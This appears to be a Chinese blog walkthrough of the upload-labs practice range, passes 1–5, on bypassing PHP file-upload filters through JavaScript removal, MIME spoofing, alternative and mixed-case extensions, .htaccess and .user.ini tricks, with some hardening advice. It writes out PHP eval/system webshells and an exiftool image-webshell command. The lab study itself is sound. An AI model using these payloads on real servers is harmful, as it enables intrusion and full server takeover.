当前位置: 首页 > news >正文

upload-labs PASS 1-5通关

PASS-01 前端javascript检查

1,第一个提示javascript对上传的文件进行审查

2,javascript工作在前端页面,可以直接删除具有审查功能的代码

3,删除之后再上传一句话木马

上传成功,可以使用蚁剑进行连接,控制网站

第一关的防御机制在前端(客户端),操作是javascript过滤:function checkFile(),定义了一个检查文件后缀名的函数,只允许图片类型文件上传

PASS-02 MIME绕过

1,第二关提示本pass在服务端对数据包的MIME进行检查。

 检查 MIME 类型通常涉及以下几个步骤:

1. 获取请求的 MIME 类型

在接收到客户端发送的数据包后,服务端可以通过 HTTP 请求头中的 Content-Type 字段来获取请求的 MIME 类型。这个字段通常会告诉服务器,数据包的格式(如 JSON、XML、图片等)。

例如,对于一个 POST 请求,Content-Type 可能是这样的:

  • application/json
  • application/xml
  • multipart/form-data(通常用于上传文件)
  • image/jpeg

2. 验证 MIME 类型

服务端需要验证这个 MIME 类型是否符合预期,防止恶意用户伪造数据包类型。一般来说,有以下几种方式来验证 MIME 类型:

a. 通过 HTTP 头检查

检查 HTTP 请求头中的 Content-Type 是否符合预期类型。如果客户端发送的类型不匹配,可以返回 400 或 415 错误响应。

例如:

if request.headers.get('Content-Type') != 'application/json':
    return 'Invalid Content-Type', 415

b. 文件扩展名检查

对于上传文件的情况,服务端可能会根据文件的扩展名来进一步验证 MIME 类型,例如确认上传的文件确实是 .jpg 扩展名的图片,且 MIME 类型为 image/jpeg。

3. 解析数据并验证格式

仅仅验证 MIME 类型可能不足够,还需要根据数据的格式进一步进行验证。例如:

  • JSON 验证:如果 Content-Type 是 application/json,服务端需要检查接收到的内容是否为有效的 JSON 格式。
    • 如果 JSON 格式不合法,可以返回 400 错误。
  • 图片文件验证:如果是图片,服务端可以使用文件头(Magic Bytes)来验证文件的实际格式,而不仅仅依赖于 MIME 类型。
    • 比如:对于 JPEG 文件,文件的前两个字节通常是 0xFF, 0xD8,如果 MIME 类型是 image/jpeg,但文件头不匹配,可以认为是伪造的文件。

4. 防止 MIME 类型欺骗

由于客户端可以伪造 Content-Type 头,单靠头部信息并不安全。服务器可以采取以下措施进一步保护:

  • 检查数据的 Magic Bytes:特别是在处理文件上传时,读取数据的前几个字节来判断文件类型,而不仅仅依赖 Content-Type。
  • 多重验证:对于某些特定格式的数据(如图片、音频等),可以通过第三方库或算法进一步验证数据的结构和内容。

类型

描述

典型示例

text

表明文件是普通文本,理论上是人类可读

text/plain, text/html, text/css, text/javascript

image

表明是某种图像。不包括视频,但动态图(如动态GIF)也使用image类型

image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon

audio

表明是某种音频文件

audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav

video

表明是某种视频文件

video/webm, video/ogg

application

表明是某种二进制数据

application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

2,那么思路就是burp suite抓包,然后对content-type进行修改。挂上代理,然后抓包,右键发送到repeater模块,然后修改为image/png

上传成功

PASS-03 上传特殊可解析后缀

1,本关禁止上传.asp|.aspx|.php|.jsp后缀文件,尝试burpsuite抓包该后缀名进行绕过

结果还是发生报错

查看源码这是因为后端对文件后缀名进行了审查过滤

2,在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

这里用.ptml试一下,直接上传一个名为1.phtml的文件,可以发现直接上传成功

成功上传

PASS-04 利用 .htaccess 绕过

代码审计分析

1. 黑名单过滤机制缺陷

$deny_ext = array(".php",".php5",...,".phtml",...); // 黑名单列表
$file_ext = strrchr($file_name, '.'); // 提取扩展名

  • 绕过风险
  • 末尾点绕过:若文件名形如 shell.phtml.strrchr 提取的扩展名为 .phtml.,不在黑名单中,可能绕过检测。部分服务器(如Apache)会忽略末尾点,仍按 .phtml 解析。
  • 未覆盖新扩展名:如 .php7.phar 等未在黑名单中,可能被利用。
  • .htaccess 攻击:黑名单未包含 .htaccess,攻击者可上传此文件修改解析规则(如 AddType application/x-httpd-php .abc),后续上传 .abc 的Webshell。

2. 文件名处理逻辑问题

  • deldot 函数未明确定义:若仅删除末尾单个点,多重点(如 shell.php..)可能残留末尾点,导致扩展名误判。
  • 路径遍历风险:未过滤 ../ 等字符,攻击者可能通过 ../../shell.phtml 将文件上传到非预期目录。

3. 服务器解析漏洞依赖

  • 即使绕过黑名单,仍需依赖服务器配置漏洞(如解析 shell.php.jpg 为 PHP),但代码本身未对内容做验证。


攻击场景示例

1. 利用 .htaccess 绕过

  1. 上传 .htaccess 文件,内容为:
    AddType application/x-httpd-php .phtml .
    jpg

  1. 上传 WebShell 文件 shell.jpg,内容为:
    <?php @eval($_POST['cmd']); ?>

  1. 蚁剑通过 http://3b04a012-9abc-46c1-b9fa-0cb64af9074d.node5.buuoj.cn:81/upload/shell.jpg 连接

PASS-05 黑名单验证,.user.ini.

代码审计分析

1. 大小写绕过漏洞(高危)

漏洞原理

黑名单虽包含部分大小写变种(如 .pHp),但未覆盖 全大写扩展名(如 .PHP.PHP5)。由于代码未统一转换为小写进行校验,攻击者可构造特定扩展名绕过检测。

利用方式

  • 上传文件名为 shell.PHP,扩展名 .PHP 不在黑名单中(黑名单仅含 .pHp)。
  • 在 Windows/Linux 服务器上均可能绕过检测并执行。

修复建议

$file_ext = strtolower($file_ext); // 统一转换为小写后再检查黑名单 

 

2. 特殊扩展名绕过(高危)

漏洞原理

黑名单未覆盖以下危险扩展名:

  • .phar:PHP 归档文件,可直接执行代码。
  • .phtml 重复处理缺陷:虽然黑名单包含 .phtml,但若攻击者构造 .PHTML(全大写)仍可绕过。
  • .inc:部分服务器配置会解析为 PHP。

利用方式

  1. 上传文件 shell.phar,绕过黑名单检测。
  2. 通过 URL 直接访问上传的 .phar 文件触发代码执行。

 

3. 路径遍历攻击(中危)

漏洞原理

代码未对文件名中的路径字符(如 ../)进行过滤,攻击者可构造文件名将文件上传到非预期目录。

利用方式

  • 上传文件名设为 ../../shell.php,若服务器处理不当,文件可能被保存到 Web 根目录外的敏感路径(如 /var/www/html 的上级目录)。
  • 配合其他漏洞(如本地文件包含)触发执行。

修复建议

$file_name = str_replace(['../', './'], '', $file_name); // 过滤路径遍历字符 

 

4. 双扩展名解析漏洞(高危)

漏洞原理

若服务器配置错误(如 Apache 的 mod_mime 解析缺陷),可能将 shell.php.jpg 识别为 PHP 文件。代码仅检查最后一个扩展名(.jpg),导致绕过。

利用方式

  1. 上传文件名为 shell.php.jpg,扩展名检测为 .jpg,绕过黑名单。
  2. 通过服务器解析漏洞(如 AddHandler application/x-httpd-php .jpg)触发 PHP 代码执行。

 

5. .htaccess 攻击(高危)

漏洞原理

虽然黑名单包含 .htaccess,但代码未彻底处理大小写(如 .Htaccess)。若攻击者上传恶意 .htaccess 文件,可控制服务器解析规则。

利用方式

  1. 上传文件名为 .Htaccess,内容为:
    AddType application/x-httpd-php .abc 
  2. 上传 WebShell 文件 shell.abc,内容为 PHP 代码。
  3. 访问 shell.abc 触发代码执行。

 

6. 文件内容未校验(中危)

漏洞原理

代码仅校验扩展名,未检查文件内容。攻击者可上传图片马(如 shell.jpg 内含 PHP 代码),配合服务器解析漏洞或文件包含漏洞执行代码。

利用方式

  1. 生成图片马:
    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg 
  2. 上传 shell.jpg,通过文件包含漏洞执行:
    http://target.com/include.php?file=uploads/202310011200001234.jpg&cmd=id

 

漏洞利用综合示例

场景:利用大小写绕过 + 双扩展名攻击

  1. 上传文件名为 shell.PHP.jpg,扩展名检测为 .jpg,绕过黑名单。
  2. 服务器配置错误(如 Apache 解析 php 优先级高于 jpg),将文件解析为 PHP。
  3. 通过 URL 访问上传文件执行代码:

http://target.com/uploads/202310011200001234.PHP.jpg 

 

.user.ini 文件详解

1. 基本概念

  • 定义.user.ini 是 PHP 的本地配置文件,用于覆盖 php.ini 中的配置项。
  • 作用范围:仅对 当前目录及其子目录 生效(需 PHP 运行在 FastCGI 模式)。
  • 优先级php.ini < .htaccess (Apache) < .user.ini

2. 核心用途

通过以下指令控制 PHP 行为:

  1. auto_prepend_file
  • 在所有 PHP 文件执行前自动包含指定文件。
  • 示例:auto_prepend_file = "header.php"
  1. auto_append_file
  • 在所有 PHP 文件执行后自动包含指定文件。
  • 示例:auto_append_file = "footer.php"
  1. 其他常用指令
  • max_execution_time(脚本最大执行时间)
  • memory_limit(内存限制)
  • upload_max_filesize(文件上传大小限制)

3. 攻击利用场景

漏洞原理

攻击者可上传恶意 .user.ini 文件,结合其他文件(如图片马)实现代码执行。

攻击步骤示例

  1. 上传 .user.ini
    auto_prepend_file = "shell.jpg"  ; 自动包含图片马
  2. 上传图片马 shell.jpg
    <?php @eval($_POST['cmd']);?> 
  3. 触发执行

访问该目录下的任意 PHP 文件(如 index.php),会先加载 shell.jpg 中的代码。

4. 防御措施

  1. 禁止上传 .user.ini
    $deny_ext = array_merge($deny_ext, ['.user.ini']); 
  2. 限制目录权限
  • 设置上传目录的 PHP 文件不可执行(Nginx 示例):
    location /uploads/ { 
       
    deny all; 
    } 
  1. 服务器配置加固
  • 在 php.ini 中禁用危险指令:
    user_ini.filename = ""          ; 禁用 .user.ini 
    allow_url_include = Off         ; 禁止远程文件包含 
    open_basedir = /var/www/html    ; 限制 PHP 文件访问范围 
  1. 定期扫描
  • 监控服务器目录中异常 .user.ini 文件

相关文章:

upload-labs PASS 1-5通关

PASS-01 前端javascript检查 1&#xff0c;第一个提示javascript对上传的文件进行审查 2&#xff0c;javascript工作在前端页面&#xff0c;可以直接删除具有审查功能的代码 3&#xff0c;删除之后再上传一句话木马 上传成功&#xff0c;可以使用蚁剑进行连接&#xff0c;控制网…...

大数据测试集群环境部署

Hadoop大数据集群搭建&#xff08;超详细&#xff09;_hadoop_小飞飞519-GitCode 开源社区 hadoop集群一之虚拟机安装(mac)_hadoop_皮皮虾不皮呀-华为开发者空间 hadoop集群二之hadoop安装_hadoop_皮皮虾不皮呀-华为开发者空间 虚拟机如何查看gateway | PingCode智库...

BUUCTF——Online Tool

BUUCTF——Online Tool 进入靶场 <?phpif (isset($_SERVER[HTTP_X_FORWARDED_FOR])) {$_SERVER[REMOTE_ADDR] $_SERVER[HTTP_X_FORWARDED_FOR]; }if(!isset($_GET[host])) {highlight_file(__FILE__); } else {$host $_GET[host];$host escapeshellarg($host);$host e…...

人工智能数学基础(三):微积分初步

微积分作为数学的重要分支&#xff0c;为人工智能的发展提供了坚实的理论基础。从理解数据的变化趋势到优化模型参数&#xff0c;微积分的应用贯穿其中。本文将深入探讨微积分的核心概念&#xff0c;并结合 Python 编程实例&#xff0c;助力大家轻松掌握这些关键知识点。资源绑…...

【11408学习记录】考研英语语法核心:倒装句考点全解+真题演练

倒装句 英语语法总结——特殊句式倒装全部倒装介词短语形容词副词There be 部分倒装否定副词或词组位于句首only位于句首虚拟条件句省略if 每日一句词汇第一步&#xff1a;找谓语第二步&#xff1a;断句第三步&#xff1a;简化主句定语从句 英语 语法总结——特殊句式 倒装 …...

云数据中心整体规划方案PPT(113页)

1. 引言 概述&#xff1a;云数据中心整体规划方案旨在构建弹性、高效的云计算基础设施&#xff0c;通过软件定义数据中心&#xff08;SDDC&#xff09;实现资源虚拟化与管理自动化。 2. 技术趋势与背景 技术革新&#xff1a;随着云计算、虚拟化及自动化技术的发展&#xff0c…...

java练习4

创建类对象&#xff0c;要求写一个人的类&#xff0c;内容包括&#xff1a; 值&#xff1a;年龄&#xff0c;姓名&#xff0c;家庭身份 函数&#xff1a;年龄&#xff0c;姓名修改&#xff0c;家庭身份修改&#xff0c;生孩子 package a01_第一次练习.a04_创建类对象;public cl…...

在VMware上创建Ubuntu虚拟机,与Xshell和Xftp的连接和使用

一、在VMware创建Ubuntu虚拟机 1、创建新的虚拟机 2、新建虚拟机安装导向 1&#xff09;自定义安装 2&#xff09;稍后安装操作系统 3&#xff09;选择Linux和Ubuntu64 4&#xff09;可自定义虚拟机名称和虚拟机位置 5&#xff09;选择合适的处理器数量 6&#xff09;虚拟机…...

Java常用注解通俗解释

注解就像是给Java代码贴的"便利贴"&#xff0c;它们不会改变代码本身的逻辑&#xff0c;但能给编译器、开发工具或运行时环境提供额外信息。下面我用最通俗的方式解释Java中最常用的注解&#xff1a; 一、基础篇&#xff1a;人人必知的注解 1. Override - "我…...

前端性能优化2:结合HTTPS与最佳实践,全面优化你的网站性能

点亮极速体验&#xff1a;结合HTTPS与最佳实践&#xff0c;为你详解网站性能优化的道与术 在如今这个信息爆炸、用户耐心极其有限的数字时代&#xff0c;网站的性能早已不是一个可选项&#xff0c;而是关乎生存和发展的核心竞争力。一个迟缓的网站&#xff0c;无异于在数字世界…...

小刚说C语言刷题——1032分糖果

1.题目描述 某幼儿园里&#xff0c;有 5 个小朋友编号为 1&#xff0c;2&#xff0c;3&#xff0c;4&#xff0c;5&#xff0c;他们按自己的编号顺序围坐在一张圆桌旁。他们身上都有若干个糖果&#xff0c;现在他们做一个分糖果游戏。 从 1 号小朋友开始&#xff0c;将他的糖…...

socket套接字-UDP(下)

socket套接字-UDP&#xff08;中&#xff09;https://blog.csdn.net/Small_entreprene/article/details/147567115?fromshareblogdetail&sharetypeblogdetail&sharerId147567115&sharereferPC&sharesourceSmall_entreprene&sharefromfrom_link在我之前搭建…...

使用Docker操作MySQL

在Docker中操作MySQL可以简化数据库的部署和管理过程。以下是详细的步骤&#xff0c;包括如何拉取MySQL镜像、创建容器以及配置远程访问权限。 拉取MySQL镜像 首先&#xff0c;使用以下命令从Docker Hub拉取MySQL镜像&#xff1a; docker pull mysql你也可以指定版本&#x…...

OpenGL ES 3.0 第二章总结:你好,三角形(Hello Triangle)

—— 从“画出第一个三角形”理解现代图形渲染流程 &#x1f530; 写在前面 OpenGL 是一个状态机型的图形 API。第二章《你好&#xff0c;三角形》是整个图形开发的起点&#xff0c;它帮助我们掌握从「准备绘制数据」到「渲染出第一个像素」的完整流程。 这一章最核心的任务是…...

neo4j vs python

1.将库中已经存在的两个节点&#xff0c;创建关系。 查询库中只有2个独立的节点。 方式一&#xff0c;python&#xff0c;使用py2neo库 #coding:utf-8 from py2neo import Graph,Node,Relationship,NodeMatcher##连接neo4j数据库&#xff0c;输入地址、用户名、密码 graph G…...

MIT6.S081-lab7前置

MIT6.S081-lab7前置 这部分包含了设备中断和锁的内容 设备中断 之前系统调用的时候提过 usertrap &#xff0c;而我们的设备中断&#xff0c;比如计时器中断也会在这里执行&#xff0c;我们可以看看具体的逻辑&#xff1a; void usertrap(void) {int which_dev 0;if((r_sst…...

通过漂移-扩散仿真研究钙钛矿-硅叠层太阳能电池中的电流匹配和滞后行为

引言 卤化物钙钛矿作为光活性半导体的出现&#xff0c;为光伏技术的发展开辟了令人振奋的新方向。[1] 除了在单结太阳能电池中的优异表现&#xff0c;目前研究的重点在于将钙钛矿吸收层整合到叠层器件中。在硅-钙钛矿叠层太阳能电池中&#xff0c;将高效的钙钛矿吸收层与成熟的…...

IIC小记

SCL 时钟同步线&#xff0c;由主机发出。 当SCL为高电平&#xff08;逻辑1&#xff09;时是工作状态&#xff0c;低电平&#xff08;逻辑0&#xff09;时是休息状态。SCL可以控制通信的速度。 SDA 数据收发线 应答位&#xff1a;前八个工作区间是一个字节&#xff0c;在SCL…...

使用 ECharts 在 Vue3 中柱状图的完整配置解析

一、初始化图表实例 const chart echarts.init(chartRef.value);二、Tooltip 提示配置 tooltip: {trigger: axis,axisPointer: {type: line // 支持 line 或 shadow 类型&#xff0c;指示器样式},backgroundColor: rgba(0,0,0,0.7),textStyle: { color: #fff },formatter: {…...

Ubuntu实现远程文件传输

目录 安装 FileZillaUbuntu 配套设置实现文件传输 在Ubuntu系统中&#xff0c;实现远程文件传输的方法有多种&#xff0c;常见的包括使用SSH&#xff08;Secure Shell&#xff09;的SCP&#xff08;Secure Copy Protocol&#xff09;命令、SFTP&#xff08;SSH File Transfer P…...

AI驱动软件工程:SoftEngine 方法论与 Lynx 平台实践分析

引言 在过去数十年中&#xff0c;软件开发领域历经了从瀑布模型到敏捷开发&#xff0c;再到DevOps的深刻变革。然而&#xff0c;面对当今快速变化的市场需求和复杂的软件系统&#xff0c;这些方法仍然显露出明显的局限性。近年来&#xff0c;基于大语言模型&#xff08;LLM&am…...

Vue基础(一) 基础用法

1.取消生产提示 Vue.config.productionTip false; Vue.config.devtools true; //运行开发调试 2.hello小案例 需要注意如下几点&#xff1a; 1.必须要有一个模板&#xff0c;其实就是一个html组件 2.新建一个Vue实例&#xff0c;并且通过el与容器建立绑定关系&#xff0…...

文心一言开发指南08——千帆大模型平台推理服务API

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 推理服务API概述 百度智能云千帆平台提供了丰富的推理服务API&#xff0c;包括对话Chat、续写Completions、向量Embeddings、批量预测等API能力。 对话Chat&#xff1a;支…...

矩阵区域和 --- 前缀和

目录 一&#xff1a;题目 二&#xff1a;算法原理 三&#xff1a;代码 一&#xff1a;题目 题目链接&#xff1a;1314. 矩阵区域和 - 力扣&#xff08;LeetCode&#xff09; 二&#xff1a;算法原理 三&#xff1a;代码 class Solution { public:vector<vector<int…...

全局id生成器生产方案

1.只要求不重复版本&#xff08;常用于分布式确定一个实体的id&#xff09; uuid&#xff08; MAC 地址、时间戳、名字空间&#xff08;Namespace&#xff09;、随机或伪随机数、时序等元素&#xff0c;计算机基于这些规则生成的 UUID 是肯定不会重复的。&#xff09; UUID 作…...

DES与AES算法深度解析:原理、流程与实现细节

DES与AES算法深度解析&#xff1a;原理、流程与实现细节 1. DES算法详解 1.1 算法架构 DES采用16轮Feistel网络结构&#xff0c;核心处理流程如下&#xff1a; 输入64位明文 → IP初始置换 → 16轮迭代处理 → 左右交换 → IP⁻末置换 → 输出64位密文 1.2 核心处理流程 …...

大厂Java面试深度解析:Dubbo服务治理、WebSocket实时通信、RESTEasy自定义注解与C3P0连接池配置实践

第一轮基础问答 面试官&#xff1a;请解释Dubbo服务注册发现的完整流程&#xff0c;以及Sentinel如何实现流量控制&#xff1f; xbhog&#xff1a;Dubbo通过Registry协议将服务地址注册到ZooKeeper&#xff0c;消费者订阅服务节点变更。Sentinel通过ResourceRegistry注册资源…...

【Qt】Qt换肤,使用QResource动态加载资源文件

【Qt】使用QResource动态加载资源文件 0.前言 对于简单的应用&#xff0c;我们可以直接读取 QSS 样式表文件来实现换肤。但一般样式里还带有图片等资源的路径&#xff0c;如果通过相对路径来加载&#xff0c;不便于管理&#xff0c;不过好处是替换图片方便。我们也可以使用 Q…...

五种机器学习方法深度比较与案例实现(以手写数字识别为例)

正如人们有各种各样的学习方法一样&#xff0c;机器学习也有多种学习方法。若按学习时所用的方法进行分类&#xff0c;则机器学习可分为机械式学习、指导式学习、示例学习、类比学习、解释学习等。这是温斯顿在1977年提出的一种分类方法。 有关机器学习的基本概念&#xff0c;…...

【18】爬虫神器 Pyppeteer 的使用

目录 一、Pyppeteer 介绍 二、安装库 三、快速上手 Python爬虫案例 | Scrape Center 在前面我们学习了 Selenium 的基本用法&#xff0c;它功能的确非常强大&#xff0c;但很多时候我们会发现 Selenium 有一些不太方便的地方&#xff0c;比如环境的配置&#xff0c;得安装好…...

封装js方法 构建树结构和扁平化树结构

在JavaScript中&#xff0c;构建树结构和将树结构扁平化是常见的操作。下面我将提供两个方法&#xff0c;一个用于从扁平化的数据中构建树结构&#xff0c;另一个用于将树结构扁平化。 构建树结构 假设我们有一个扁平化的数据列表&#xff0c;每个节点对象包含id和parentId属…...

服务器和数据库哪一个更重要

在当今数字化的时代&#xff0c;服务器和数据库都是构建和运行各种应用系统的关键组成部分&#xff0c;要说哪一个更重要&#xff0c;其实很难简单地给出定论。 服务器就像是一个强大的引擎&#xff0c;为应用程序提供了稳定的运行环境和高效的计算能力。它负责接收和处理来自…...

Nginx 核心功能与 LNMP 架构部署

一、基于授权的访问控制 1.1 功能概述 Nginx 的基于授权的访问控制通过用户名和密码验证机制&#xff0c;限制用户对特定资源的访问。其实现逻辑与 Apache 类似&#xff0c;但配置更简洁&#xff0c;适用于需保护敏感目录或页面的场景&#xff08;如管理后台&#xff09;。 …...

Python程序开发,麒麟系统模拟电脑打开文件实现

在Python开发中&#xff0c;模拟电脑打开文件操作&#xff08;即用默认程序打开文件&#xff09;&#xff0c;可以使用os.system()方法或subprocess模块来执行系统命令。以下是使用os库实现模拟打开文件的代码示例&#xff1a; 使用os.system()方法 import osfile_path &quo…...

打造惊艳的渐变色下划线动画:CSS实现详解

引言&#xff1a;为什么需要动态下划线效果&#xff1f; 在现代网页设计中&#xff0c;微妙的交互效果可以显著提升用户体验。动态下划线特效作为一种常见的视觉反馈方式&#xff0c;不仅能够引导用户注意力&#xff0c;还能为页面增添活力。本文将深入解析如何使用纯CSS实现一…...

gitmodule怎么维护

目录 ci-cd脚本 豆包文档 ci-cd脚本 git submodule init git submodule update cd /var/lib/jenkins/workspace/wvp-server-Dji/wvp-server git checkout Dji2 cd /var/lib/jenkins/workspace/wvp-server-Dji/cloud-sdk git checkout master 豆包文档...

企业战略管理(设计与工程师类)-2-战略规划及管理过程-2-外部环境分析-PESTEL模型实践

PESTEL在AFI框架中的作用​ AFI 战略框架&#xff08;Analyze, Formulate, Implement——哈佛大学商学院的教授 Michael Porter&#xff09;是企业战略管理中的一个重要理论模型&#xff0c;帮助企业系统性地分析和制定战略。 作为第一阶段Analyze的第一步&#xff0c;PESTEL…...

基于arduino的温湿度传感器应用

温湿度传感器深度解析与多平台开发实战 一、温湿度传感器代码实现(Arduino平台) 1. 基础传感器驱动(DHT11) #include <DHT.h> #define DHTPIN 2 #define DHTTYPE DHT11DHT dht(DHTPIN, DHTTYPE);void setup() {Serial.begin(9600);dht.begin(); }void loop() {del…...

【AI提示词】机会成本决策分析师

提示说明 具备经济学思维的决策架构师&#xff0c;擅长通过机会成本模型分析复杂选择场景 提示词 # Role: 机会成本决策分析师## Profile - language: 中文 - description: 具备经济学思维的决策架构师&#xff0c;擅长通过机会成本模型分析复杂选择场景 - background: 经济…...

基于Springboot + vue实现的列书单读书平台

项目描述 本系统包含管理员和用户两个角色。 管理员角色&#xff1a; 用户管理&#xff1a;管理系统中所有用户的信息&#xff0c;包括添加、删除和修改用户。 书单信息管理&#xff1a;管理书单信息&#xff0c;包括新增、查看、修改、删除和查看评论。 在线书店管理&…...

「Mac畅玩AIGC与多模态07」开发篇03 - 开发第一个 Agent 插件调用应用

一、概述 本篇介绍如何在 macOS 环境下,基于 Dify 平台自带的网页爬虫插件工具,开发一个可以提取网页内容并作答的 Agent 应用。通过使用内置插件,无需自定义开发,即可实现基本的网页信息提取与智能体回答整合。 二、环境准备 1. 确认本地部署环境 确保以下环境已搭建并…...

Headers池技术在Python爬虫反反爬中的应用

1. 引言 在当今互联网环境中&#xff0c;许多网站都部署了反爬虫机制&#xff0c;以防止数据被大规模抓取。常见的反爬手段包括&#xff1a; User-Agent检测&#xff08;检查请求头是否来自浏览器&#xff09;IP频率限制&#xff08;短时间内同一IP请求过多会被封禁&#xff…...

端到端电力电子建模、仿真与控制及AI推理

在当今世界&#xff0c;电力电子不再仅仅是一个专业的利基领域——它几乎是每一项重大技术变革的支柱。从可再生能源到电动汽车&#xff0c;从工业自动化到航空航天&#xff0c;对电力转换领域创新的需求正以前所未有的速度增长。而这项创新的核心在于一项关键技能&#xff1a;…...

Java云原生+quarkus

一、Java如何实现云原生应用&#xff1f; 传统的 Java 框架&#xff08;如 Spring Boot&#xff09;虽然功能强大&#xff0c;但在云原生场景下可能显得笨重。以下是一些更适合云原生的轻量级框架&#xff1a; Quarkus(推荐) 专为云原生和 Kubernetes 设计的 Java 框架。支持…...

在yolo中Ultralytics是什么意思呢?超越分析的智能

在YOLO&#xff08;You Only Look Once&#xff09;目标检测框架中&#xff0c;Ultralytics 是一家专注于计算机视觉和机器学习技术的公司&#xff0c;同时也是YOLO系列模型&#xff08;如YOLOv5、YOLOv8等&#xff09;的官方开发和维护团队。以下是关键点解析&#xff1a; 1. …...

TRAE历史版本下载参考

https://lf-cdn.trae.com.cn/obj/trae-com-cn/pkg/app/releases/stable/{此处替换为版本号}/win32/Trae%20CN-Setup-x64.exe 比如版本号为1.0.11939 那么链接为https://lf-cdn.trae.com.cn/obj/trae-com-cn/pkg/app/releases/stable/1.0.11939/win32/Trae%20CN-Setup-x64.exe …...

C++类与对象基础

目录 1.取地址运算符重载 2.初始化列表 3.类型转换 既前面所讲的C类与对象知识&#xff0c;C类与对象——基础知识-CSDN博客 C类与对象——构造函数与析构函数-CSDN博客 C类与对象——拷贝构造与运算符重载_c拷贝对象和对象调用同一函数的输出区别怎么实现-CSDN博客本章我们…...

C# 继承详解

继承是面向对象程序设计&#xff08;OOP&#xff09;中的核心概念之一&#xff0c;它极大地增强了代码的重用性、扩展性和维护性。本篇文章将详细讲解C#中的继承机制&#xff0c;包括基础概念、语法特法、多重继承&#xff08;通过接口实现&#xff09;、继承的规则和实际应用示…...

多源数据整合与数据虚拟化:构建灵活、高效的数据架构

多源数据整合与数据虚拟化:构建灵活、高效的数据架构 引言 随着大数据时代的到来,数据的多样性和复杂性已经成为了企业面临的一大挑战。不同来源的数据在格式、结构以及存储方式上各不相同,传统的单一数据源管理方法难以应对海量且多样化的数据需求。多源数据整合与数据虚拟…...

代码随想录第39天|leetcode198.打家劫舍、leetcode213.打家劫舍II 、leetcode337.打家劫舍III

1.198. 打家劫舍 - 力扣&#xff08;LeetCode&#xff09; 当前房屋偷与不偷取决于前一个房屋和前两个房屋是否被偷&#xff0c;所以就可以得到相应的dp数组。 即&#xff0c;dp[i] max(dp[i-2]nums[i],dp[i-1]); int rob(vector<int>& nums) {//dp[i]&#xff1a…...